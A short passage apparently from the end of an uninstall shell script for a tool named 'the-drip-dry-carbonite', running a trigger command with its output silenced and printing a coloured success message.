/usr/bin/trigger-carbonite 2 &> /dev/null 13 | 14 | echo -e "\e[00;32m [+] the-drip-dry-carbonite was uninstalled successfully\e[00m" 15 | 16 | --------------------------------------------------------------------------------